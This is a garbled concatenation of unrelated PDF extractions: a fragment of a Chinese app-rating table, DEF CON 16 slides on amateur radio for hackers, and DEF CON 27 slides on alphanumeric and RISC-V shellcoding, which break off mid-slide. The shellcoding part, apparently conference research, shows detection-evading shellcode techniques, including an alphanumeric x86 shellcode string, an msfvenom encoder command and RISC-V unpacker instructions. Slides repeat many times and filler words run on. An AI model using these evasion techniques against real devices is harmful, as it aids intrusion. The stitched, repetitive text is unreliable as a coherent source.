5 95 ofo 共享单车 3.18.1 √ √ √ √ √ √ √ √ √ 9 0 96 滴滴出行 5.2.46 √ √ √ √ √ √ √ √ 8 5 97 墨迹天气 7.0809.02 √ √ √ √ √ √ √ 7 5 98 摩拜单车 8.14.1 √ √ √ √ √ √ 6 2 99 掌阅 7.14.0 √ √ √ √ 4 3 100 书旗小说 10.8.1.79 √ √ √ 3 2
pdf
HAM FOR HACKERS TAKE BACK THE AIRWAVES JonM – DEFCON 16 JonM  Licensed Amateur Extra—the highest class of license in the US  Operating since 2000  Radio is just one of my hobbies…software security consulting is the most lucrative You want to play with wireless…  Remote control  Data links  Personal communication  Telemetry So what are your options? US Frequency Allocation None if it is free for general use Listening is unrestricted Aside from some asinine restrictions on analog cell phone frequencies, you can listen to whatever you like all day long. So what can you use?  FCC Part 95: Personal Radio Services  CB and FRS  Low power, short range (couple of miles), voice only  Small number of channels  FCC Part 15: Unlicensed RF Devices  WiFi, garage door openers, cordless phones, etc  Limited power  Antenna restrictions  A number of frequencies available, but lots of users Long story short  Unlicensed operations are restricted  You’re not going to get much range  You’re going to have a lot of competition  If there’s interference, you have to take it  If you’re interfering with someone else, you have to shut down your transmitter Enter amateur radio  FCC Part 97: Amateur Radio Service  Upsides:  You get to use a lot more power  You have primary use on a number of bands  Downsides:  You have to be licensed  You have to follow operating procedures Created for Hackers The FCC’s stated principles for amateur radio include: “Continuation and extension of the amateur's proven ability to contribute to the advancement of the radio art.” Amateur radio was created to provide skilled individuals with a forum for experimentation and technical advancement. Amateur Radio Limitations  With great power comes great responsibility:  You have to identify yourself  No secrecy, no encryption  You can’t broadcast, especially not music  “Non-pecuniary”—non-commercial use only Oh, one more thing… You can’t swear. Seriously. Licensing  Three levels of license: Technician, General, Extra  If you just want to experiment, the Technician (lowest) license will get you plenty:  Full privileges on the bands above 50 MHz  1500 watts of power!  Unlimited bandwidth above 902 MHz  The higher classes give you access to the HF bands  30 MHz and below  Long range, even with low power Testing  Tests are multiple choice  The entire question pool is published  75% is a passing grade  Technician exam is only 35 questions  You don’t have to know Morse code But isn’t ham for losers? I know what you’re thinking: Ham radio is full of old men who wear suspenders and sit around talking about what they’re going to buy when they go into the city. Well…yes. These Folks Exist You don’t have to wear suspenders As long as you’re following the rules and keep to yourself, they’ll leave you alone. And besides, some of them are actually pretty damn smart. And isn’t the technology outdated?  Well, yes: Handheld radio Cell phone FM modulation High quality, efficient, codecs Analog signaling Digital signaling Single frequency at a time Frequency hopping, spread spectrum Spectrum inefficient–One transmitter at a time Multiplexing allows multiple transmitters access at once But there’s lots of cool stuff  Things I’ve done:  Cross country contacts using amateur satellites  Tracked a high altitude balloon on the edge of space  Picked up signals from the east coast with $20 of hardware  Added emergency location beaconing to my motorcycle New Technologies  Spread Spectrum  Digital modes  Software Defined Radio (SDR) Spread Spectrum  Instead of one fat signal, transmit using several smaller signals  Less interference, more bandwidth, more reliable  There was a peak of interest in the amateur radio community in the late ‘90s  Since then, interest has waned  All of the kits for SS are out of production Digital modes D-STAR is a new standard for digital communication  Basically an ATM implementation  Up to 128 kbps data rate, over long distances  4800 bps digital voice  Uses the proprietary AMBE codec (boo)  A plethora of add-on data services  Position reporting  Image transfer  Text messaging  Only ICOM is making D-STAR radios right now Software Defined Radio  Instead of doing signal processing in hardware, do it in software  Makes for a much more versatile radio  New modulation schemes are just software patches  You can implement powerful filtering and decoding algorithms, too  Because software does the heavy lifting, hardware becomes much cheaper GNU Radio  Open source SDR project  Uses the Universal Software Radio Peripheral  Basically an FPGA, some high quality DACs and ADCs, and a daughterboard interface  The daughterboards handle the RF detection and generation  Daughterboards give coverage from 0-2.4 GHz  Support for many different modulations, encodings, etc.  At $700 for the base USRP, not inexpensive USRP, expensive?  $700, plus an extra $150 for RF modules, just for a radio?  Yeah, but it gives you most of the functionality of this here $13,000 radio: HP SDR  Like the USRP, a modular SDR platform  Stronger amateur radio focus than USRP, but hardware is designed to be modular and versatile  Still in development, backplane and several boards available now  Price for a full 0-55 MHz SDR transceiver should be in the $800 range I/Q demodulation  Ditch the FPGA, and use the analog hardware you’ve already got  Use a cheap board to grab a chunk of spectrum, and feed it into your soundcard  Software then performs demodulation and decoding  Bandwidth is limited by your soundcard  Frequency is limited by what you can generate cleanly  50 MHz is the practical limit for low-cost hardware SoftRock radios  Low cost kits:  $10 single band receiver  $30 single band transceiver  $42 frequency agile receiver  A variety of software packages to process the signals Go from this: Tune across the band. Find a signal. Copy the morse code down to paper. You do know morse, right? To this: Start the software. See the morse scroll across the screen. Scroll through the spectrum, and read the text. Call to arms  Hams are stuck using ancient technology  But they're all dying off (literally)  When they go away, so will their spectrum  They’re not making good use of it anyways  Let's keep that spectrum open for experimentation, and do cool things with it We can make it better… …just by using existing technologies we all know and love.  More efficient spectrum use  Higher data rates  D-STAR is just TCP/IP reinvented, and is built around a restricted technology  SDR opens a wealth of possibilities What next?  Get your license!  Start experimenting  Build some kits  Play with software  Repurpose existing hardware  Bring amateur radio back into the realm of hackers and experimenters Questions? JonM <[email protected]>
pdf
The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 1 / 42 The ABC of Next-Gen Shellcoding Hadrien Barral, R´emi G´eraud-Stewart, Georges-Axel Jaloyan, David Naccache ´Ecole normale sup´erieure, PSL Research University What we’re interested in today ⌅ Embedded devices, especially smartphones. ⌅ Many people have phones. Some are security-conscious. ⌅ Phones contain a lot of sensitive data: attractive targets. ⌅ The usual hacking toolset is very limited as of now. The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 2 / 42 Who we are ⌅ Hadrien Barral: Hacker. I like hacking stuff. ⌅ Georges-Axel Jaloyan: PhD student. I like reversing open source binaries. ⌅ R´emi G´eraud-Stewart: Hacker. I like whisky and maths. The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 3 / 42 Why this matters and what is this about ⌅ Creative methods ⌅ . . . to write constrained shellcodes ⌅ . . . on new architectures The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 4 / 42 1. This is not the shellcode you’re looking for The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 5 / 42 Shellcode 101 For those hiding in the back ⌅ Code that you wrote (or found) in the target’s memory ⌅ That gives you some power (e.g., pop a shell) ⌅ That you can jump to using some vuln (e.g. buffer overflow, UAF...) Typical scenario: send a carefully crafted string to the target and profit. NOP sled Payload Target’s memory Jump using vuln The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 6 / 42 Shellcode 102 It’s sometimes not as easy ⌅ If treated as a string, the shellcode can’t contain \x00 ⌅ Stack protections (NX, ...) ⌅ Limited memory available for shellcode ⌅ Jumping to shellcode may be tricky (ASLR...) Many clever techniques exist to work around these obstacles (ROP, heap sprayin’, egglayin’, ...) But... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 7 / 42 Shellcode 102 Even ignoring the obstacles, take your typical kindergarten shellcode: 00000000: 6821 0a00 0068 6f72 6c64 686f 2c20 5768 h!...horldho, Wh 00000010: 4865 6c6c ba0e 0000 0089 e1bb 0100 0000 Hell............ 00000020: b804 0000 00cd 80 ....... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 8 / 42 Some people try to detect and stop shellcodes Can you believe that? The textbook shellcode ⌅ Pretends to be user input but... ⌅ ...Has many NOP instructions ⌅ ...And non-printable characters ⌅ ...With /bin/sh somewhere ⌅ ...May look like another code All this is suspicious and easily detectable The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 9 / 42 Shellcode 103: Fly under the radar How to pass as human input? Idea: ⌅ Use only ASCII-printable characters? ⌅ ... only alphanumeric characters? ⌅ ... only English words? ⌅ ... only Shakespeare quotes? Advantages: ⌅ Less likely to trigger alarm, plausible deniability ⌅ Less likely to be escaped / broken ⌅ Can serve as a pick-up line Disadvantages: ⌅ Is this even possible? The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 10 / 42 Shellcode 103: Fly under the radar How to pass as human input? Idea: ⌅ Use only ASCII-printable characters? ⌅ ... only alphanumeric characters? ⌅ ... only English words? ⌅ ... only Shakespeare quotes? Advantages: ⌅ Less likely to trigger alarm, plausible deniability ⌅ Less likely to be escaped / broken ⌅ Can serve as a pick-up line Disadvantages: ⌅ Is this even possible? YES The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 10 / 42 ASCII IA32 ‘A’ inc %eax ‘B’ inc %edx ‘C’ inc %ebx ‘D’ inc %esp ‘E’ inc %ebp ‘F’ inc %esi ‘G’ inc %edi ‘H’ dec %eax ‘I’ dec %ecx ‘J’ dec %edx ‘K’ dec %ebx ‘L’ dec %esp ‘M’ dec %ebp ‘N’ dec %esi ‘O’ dec %edi ASCII IA32 ‘P’ push %eax ‘Q’ push %ecx ‘R’ push %edx ‘S’ push %ebx ‘T’ push %esp ‘U’ push %ebp ‘V’ push %esi ‘W’ push %edi ‘X’ pop %eax ‘Y’ pop %ecx ‘Z’ pop %edx ‘a’ popa ‘h’ push imm32 ‘j’ push imm8 ASCII IA32 ‘p’ jo short disp8 ‘q’ jno short disp8 ‘r’ jb short disp8 ‘s’ jnb short disp8 ‘t’ je short disp8 ‘u’ jnz short disp8 ‘v’ jbe short disp8 ‘w’ ja short disp8 ‘x’ js short disp8 ‘y’ jns short disp8 ‘z’ jpe short disp8 ‘8’ cmp r/m8 r8 ‘9’ cmp r/m32 r32 ‘0’ xor r/m8 r8 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 11 / 42 ASCII IA32 ‘A’ inc %eax ‘B’ inc %edx ‘C’ inc %ebx ‘D’ inc %esp ‘E’ inc %ebp ‘F’ inc %esi ‘G’ inc %edi ‘H’ dec %eax ‘I’ dec %ecx ‘J’ dec %edx ‘K’ dec %ebx ‘L’ dec %esp ‘M’ dec %ebp ‘N’ dec %esi ‘O’ dec %edi ASCII IA32 ‘P’ push %eax ‘Q’ push %ecx ‘R’ push %edx ‘S’ push %ebx ‘T’ push %esp ‘U’ push %ebp ‘V’ push %esi ‘W’ push %edi ‘X’ pop %eax ‘Y’ pop %ecx ‘Z’ pop %edx ‘a’ popa ‘h’ push imm32 ‘j’ push imm8 ASCII IA32 ‘p’ jo short disp8 ‘q’ jno short disp8 ‘r’ jb short disp8 ‘s’ jnb short disp8 ‘t’ je short disp8 ‘u’ jnz short disp8 ‘v’ jbe short disp8 ‘w’ ja short disp8 ‘x’ js short disp8 ‘y’ jns short disp8 ‘z’ jpe short disp8 ‘8’ cmp r/m8 r8 ‘9’ cmp r/m32 r32 ‘0’ xor r/m8 r8 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 11 / 42 ASCII IA32 ‘A’ inc %eax ‘B’ inc %edx ‘C’ inc %ebx ‘D’ inc %esp ‘E’ inc %ebp ‘F’ inc %esi ‘G’ inc %edi ‘H’ dec %eax ‘I’ dec %ecx ‘J’ dec %edx ‘K’ dec %ebx ‘L’ dec %esp ‘M’ dec %ebp ‘N’ dec %esi ‘O’ dec %edi ASCII IA32 ‘P’ push %eax ‘Q’ push %ecx ‘R’ push %edx ‘S’ push %ebx ‘T’ push %esp ‘U’ push %ebp ‘V’ push %esi ‘W’ push %edi ‘X’ pop %eax ‘Y’ pop %ecx ‘Z’ pop %edx ‘a’ popa ‘h’ push imm32 ‘j’ push imm8 ASCII IA32 ‘p’ jo short disp8 ‘q’ jno short disp8 ‘r’ jb short disp8 ‘s’ jnb short disp8 ‘t’ je short disp8 ‘u’ jnz short disp8 ‘v’ jbe short disp8 ‘w’ ja short disp8 ‘x’ js short disp8 ‘y’ jns short disp8 ‘z’ jpe short disp8 ‘8’ cmp r/m8 r8 ‘9’ cmp r/m32 r32 ‘0’ xor r/m8 r8 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 11 / 42 ASCII IA32 ‘A’ inc %eax ‘B’ inc %edx ‘C’ inc %ebx ‘D’ inc %esp ‘E’ inc %ebp ‘F’ inc %esi ‘G’ inc %edi ‘H’ dec %eax ‘I’ dec %ecx ‘J’ dec %edx ‘K’ dec %ebx ‘L’ dec %esp ‘M’ dec %ebp ‘N’ dec %esi ‘O’ dec %edi ASCII IA32 ‘P’ push %eax ‘Q’ push %ecx ‘R’ push %edx ‘S’ push %ebx ‘T’ push %esp ‘U’ push %ebp ‘V’ push %esi ‘W’ push %edi ‘X’ pop %eax ‘Y’ pop %ecx ‘Z’ pop %edx ‘a’ popa ‘h’ push imm32 ‘j’ push imm8 ASCII IA32 ‘p’ jo short disp8 ‘q’ jno short disp8 ‘r’ jb short disp8 ‘s’ jnb short disp8 ‘t’ je short disp8 ‘u’ jnz short disp8 ‘v’ jbe short disp8 ‘w’ ja short disp8 ‘x’ js short disp8 ‘y’ jns short disp8 ‘z’ jpe short disp8 ‘8’ cmp r/m8 r8 ‘9’ cmp r/m32 r32 ‘0’ xor r/m8 r8 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 11 / 42 Alphanumeric shellcodes rix, Phrack 57, 2001 + Basu et al., ICISS, 2014 ⌅ The x86 ISA is really nice and smooth when going into alphanumeric: I push/pop/inc/dec have single letter instructions! I jmp and cmp are available I xor with many operands are available ⌅ For x86-64: just prefix 0x48 (= H) to every instruction (breaks inc/dec though) ⌅ Follow the tutorial: https://nets.ec/Alphanumeric_shellcode jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0 Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 12 / 42 English shellcode Mason et al., English Shellcode, ACM CCS, 2009 ⌅ Generate English compatible subset of IA32... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 13 / 42 English shellcode Mason et al., English Shellcode, ACM CCS, 2009 ⌅ Generate English compatible subset of IA32... ⌅ ...We have more than alphanumeric: (punctuation, spaces, ...)! ASCII IA32 ‘p.’ jo short $30 ‘q.’ jno short $30 ‘r.’ jb short $30 ‘s.’ jnb short $30 ‘t.’ je short $30 ‘u.’ jnz short $30 ‘v.’ jbe short $30 ‘w.’ ja short $30 ‘x.’ js short $30 ‘y.’ jns short $30 ‘z.’ jpe short $30 ‘ ca’ and 61(%ebx), %ah ‘ An’ and 6E(%ecx), %al ‘ jo’ and 6F(%edx), %ch The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 13 / 42 English shellcode Mason et al., English Shellcode, ACM CCS, 2009 ⌅ Generate English compatible subset of IA32... ⌅ ...We have more than alphanumeric: (punctuation, spaces, ...)! ASCII IA32 ‘p.’ jo short $30 ‘q.’ jno short $30 ‘r.’ jb short $30 ‘s.’ jnb short $30 ‘t.’ je short $30 ‘u.’ jnz short $30 ‘v.’ jbe short $30 ‘w.’ ja short $30 ‘x.’ js short $30 ‘y.’ jns short $30 ‘z.’ jpe short $30 ‘ ca’ and 61(%ebx), %ah ‘ An’ and 6E(%ecx), %al ‘ jo’ and 6F(%edx), %ch The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 13 / 42 English shellcode Mason et al., English Shellcode, ACM CCS, 2009 ⌅ Generate English compatible subset of IA32... ⌅ ...We have more than alphanumeric: (punctuation, spaces, ...)! ASCII IA32 ‘p.’ jo short $30 ‘q.’ jno short $30 ‘r.’ jb short $30 ‘s.’ jnb short $30 ‘t.’ je short $30 ‘u.’ jnz short $30 ‘v.’ jbe short $30 ‘w.’ ja short $30 ‘x.’ js short $30 ‘y.’ jns short $30 ‘z.’ jpe short $30 ‘ ca’ and 61(%ebx), %ah ‘ An’ and 6E(%ecx), %al ‘ jo’ and 6F(%edx), %ch The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 13 / 42 English shellcode Mason et al., English Shellcode, ACM CCS, 2009 ⌅ Generate English compatible subset of IA32... ⌅ ...We have more than alphanumeric: (punctuation, spaces, ...)! ⌅ Write a decoder with those instructions ASCII IA32 ‘p.’ jo short $30 ‘q.’ jno short $30 ‘r.’ jb short $30 ‘s.’ jnb short $30 ‘t.’ je short $30 ‘u.’ jnz short $30 ‘v.’ jbe short $30 ‘w.’ ja short $30 ‘x.’ js short $30 ‘y.’ jns short $30 ‘z.’ jpe short $30 ‘ ca’ and 61(%ebx), %ah ‘ An’ and 6E(%ecx), %al ‘ jo’ and 6F(%edx), %ch The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 13 / 42 English shellcode Mason et al., English Shellcode, ACM CCS, 2009 ⌅ Generate English compatible subset of IA32... ⌅ ...We have more than alphanumeric: (punctuation, spaces, ...)! ⌅ Write a decoder with those instructions ⌅ Fill the gaps with English-looking words ASCII IA32 ‘p.’ jo short $30 ‘q.’ jno short $30 ‘r.’ jb short $30 ‘s.’ jnb short $30 ‘t.’ je short $30 ‘u.’ jnz short $30 ‘v.’ jbe short $30 ‘w.’ ja short $30 ‘x.’ js short $30 ‘y.’ jns short $30 ‘z.’ jpe short $30 ‘ ca’ and 61(%ebx), %ah ‘ An’ and 6E(%ecx), %al ‘ jo’ and 6F(%edx), %ch The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 13 / 42 English shellcode Mason et al., English Shellcode, ACM CCS, 2009 ⌅ Generate English compatible subset of IA32... ⌅ ...We have more than alphanumeric: (punctuation, spaces, ...)! ⌅ Write a decoder with those instructions ⌅ Fill the gaps with English-looking words The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 13 / 42 English shellcode Mason et al., English Shellcode, ACM CCS, 2009 ⌅ Generate English compatible subset of IA32... ⌅ ...We have more than alphanumeric: (punctuation, spaces, ...)! ⌅ Write a decoder with those instructions ⌅ Fill the gaps with English-looking words ⌅ Enjoy! The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 13 / 42 English shellcode: demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo demo The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 14 / 42 Alphanumeric on x86 is “fully solved” ⌅ msfvenom -a x86 -e x86/alpha mixed ⌅ In principle we could write a fully functional shellcode from Shakespeare’s works ⌅ However, none of my phones are in x86... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 15 / 42 2. Taking RISCs: from laptops to earsides The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 16 / 42 Transitioning from x86 to ARM RISC – reduced instruction set computer... Blockers ⌅ No single character instructions anymore ⌅ Few addressing modes – in particular no memory to memory ⌅ Heavy constraints on operands The above techniques do not work on ARM architectures anymore! The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 17 / 42 Transitioning from x86 to ARM RISC – reduced instruction set computer... Blockers ⌅ No single character instructions anymore ⌅ Few addressing modes – in particular no memory to memory ⌅ Heavy constraints on operands The above techniques do not work on ARM architectures anymore! Compilation / Emulation / Unpacking The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 17 / 42 The “compilation” way Idea: ⌅ Compile assembly code to a constrained instruction set Pros: ⌅ Easy to compile to one-instruction set computers (e.g Movfuscator) Cons: The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 18 / 42 The “compilation” way Idea: ⌅ Compile assembly code to a constrained instruction set Pros: ⌅ Easy to compile to one-instruction set computers (e.g Movfuscator) Cons: ⌅ Does not work when the constraints are mainly on the operands and not on the opcodes ⌅ ...nobody wants to devote their life to writing such a compiler The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 18 / 42 The “compilation” way Idea: ⌅ Compile assembly code to a constrained instruction set Pros: ⌅ Easy to compile to one-instruction set computers (e.g Movfuscator) Cons: ⌅ Does not work when the constraints are mainly on the operands and not on the opcodes ⌅ ...nobody wants to devote their life to writing such a compiler (or do they?) The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 18 / 42 The “emulation” way Younan et al., Phrack 66, 2009 Idea: ⌅ Write an interpreter for some language Pros: ⌅ Reusable for different payloads ⌅ It’s feasible ⌅ e.g. Younan’s ARMv7 alphanumeric Brainfuck interpreter Cons: The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 19 / 42 The “emulation” way Younan et al., Phrack 66, 2009 Idea: ⌅ Write an interpreter for some language Pros: ⌅ Reusable for different payloads ⌅ It’s feasible ⌅ e.g. Younan’s ARMv7 alphanumeric Brainfuck interpreter Cons: ⌅ Interpreted code is toothless... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 19 / 42 The “unpacking” way Barral et al., ISPEC 2016 Idea: ⌅ Encode payload in a constraint-compliant way (e.g. alphanumerically) The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 20 / 42 The “unpacking” way Barral et al., ISPEC 2016 Idea: ⌅ Encode payload in a constraint-compliant way (e.g. alphanumerically) ⌅ Identify high-level constraint-compliant constructs (zeroing/increasing registers, ...) The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 20 / 42 The “unpacking” way Barral et al., ISPEC 2016 Idea: ⌅ Encode payload in a constraint-compliant way (e.g. alphanumerically) ⌅ Identify high-level constraint-compliant constructs (zeroing/increasing registers, ...) ⌅ Use this to write a minimal unpacker that decodes and execute payload The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 20 / 42 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 21 / 42 Taking it to the next level: RISC-V The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 22 / 42 Taking it to the next level: RISC-V Pros ⌅ Simple, clean RISC MIPS-like ISA ⌅ Open Source ISA & Open Hardware* ⌅ Still very WIP The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 22 / 42 Taking it to the next level: RISC-V Pros ⌅ Simple, clean RISC MIPS-like ISA ⌅ Open Source ISA & Open Hardware* ⌅ Still very WIP Cons ⌅ Makes our job much harder... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 22 / 42 What is alphanumeric 64-bit RISC-V like? ⌅ Some constants li, lui ⌅ Small increments addi ⌅ Forward conditional branches b* ⌅ Forward unconditional branches j, jal ⌅ Arithmetic right shift sra ⌅ System registers writes csr* ⌅ Misc. floating point operations fld, fmadd, fcvt, ... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 23 / 42 What is alphanumeric 64-bit RISC-V like? ⌅ Some constants li, lui ⌅ Small increments addi ⌅ Forward conditional branches b* ⌅ Forward unconditional branches j, jal ⌅ Arithmetic right shift sra ⌅ System registers writes csr* ⌅ Misc. floating point operations fld, fmadd, fcvt, ... No loop! No store / syscall! The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 23 / 42 Purely alphanumeric RISC-V shellcodes are impossible* No loop! No store / syscall! Not Turing complete; cannot do much... The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 24 / 42 Purely alphanumeric RISC-V shellcodes are impossible* No loop! No store / syscall! Not Turing complete; cannot do much... 31 7 6 0 other stuff opcode The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 24 / 42 Purely alphanumeric RISC-V shellcodes are impossible* No loop! No store / syscall! Allow ourselves a single other printable character 31 7 6 0 other stuff opcode The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 24 / 42 Purely alphanumeric RISC-V shellcodes are impossible* No loop! No store / syscall! Allow ourselves a single other printable character 31 7 6 0 other stuff 0 0100011 Spoiler Alert: 3 candidates: # (hash), / (slash) and ´ (tick). The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 24 / 42 # = 0x23 #SudoMakeMeASandwich The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 25 / 42 Stage 1 init forward jump encoded payload Penc Unpacker U Stage 2 (unpacked by U) #SudoMakeMeASandwich The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 25 / 42 Stage 1 init forward jump encoded payload Penc Unpacker U Stage 2 (unpacked by U) Stage 2 init main decoding loop backward jump jump Stage 3 Payload #SudoMakeMeASandwich: #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo #Demo The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 26 / 42 3. Think you have seen it all? Getting dirty The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 27 / 42 http://givemerootaccess/ Pwning you with a single URL ⌅ Changing the available subset to Alphanumeric + /. ⌅ No more stores using sd for the stage 1. ⌅ Need to find a new memory writing primitive. The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 28 / 42 http://givemerootaccess/ Pwning you with a single URL ⌅ Changing the available subset to Alphanumeric + /. ⌅ No more stores using sd for the stage 1. ⌅ Need to find a new memory writing primitive. Atomic operations AQ3/ amoor.d t1,s5,(sp) atomic{ t1 := @64[sp] @64[sp] := @64[sp]|s5 } aA8/ amoand.d a6,s4,(sp) atomic{ a6 := @64[sp] @64[sp] := @64[sp]&s4 } The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 28 / 42 Alignment is a pain The address held in rs1 must be naturally aligned to the size of the operand [...]. If the address is not naturally aligned, a misaligned address exception will be generated. The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 29 / 42 Alignment is a pain The address held in rs1 must be naturally aligned to the size of the operand [...]. If the address is not naturally aligned, a misaligned address exception will be generated. Good, let’s use addi. The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 29 / 42 Alignment is a pain The address held in rs1 must be naturally aligned to the size of the operand [...]. If the address is not naturally aligned, a misaligned address exception will be generated. Good, let’s use addi. cat avail | grep addi | sort The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 29 / 42 Alignment is a pain The address held in rs1 must be naturally aligned to the size of the operand [...]. If the address is not naturally aligned, a misaligned address exception will be generated. Good, let’s use addi. cat avail | grep addi | sort addi sp, sp, 16 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 29 / 42 animation by animate[2019/04/09] Solution: use 16-byte chunks instruction nop-like jump to next block (unused) 0 2 4 6 · · · 16 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks instruction nop-like jump to next block (unused) 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks ?? ?? ?? ?? ?? ?? ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks ?? ?? ?? ?? ?? ?? ... 0 2 4 6 · · · 16 sra s4 ,zero ,s3 amoand.d.rl zero ,s4 ,(sp) amoor.d.aq a6 ,tp ,(sp) lui a0 ,0 x59714 li s4 ,12 sra t1 ,a0 ,s4 addiw t1 ,t1 ,-10 amoor.w.aq t5 ,t1 ,(sp) tp 0000 0000 A031 0004 s4 0000 0000 0000 0000 The ABC of Next-Gen Shellcoding @ DEF CON 27 11 Aug 2019 30 / 42 Solution: use 16-byte chunks 00 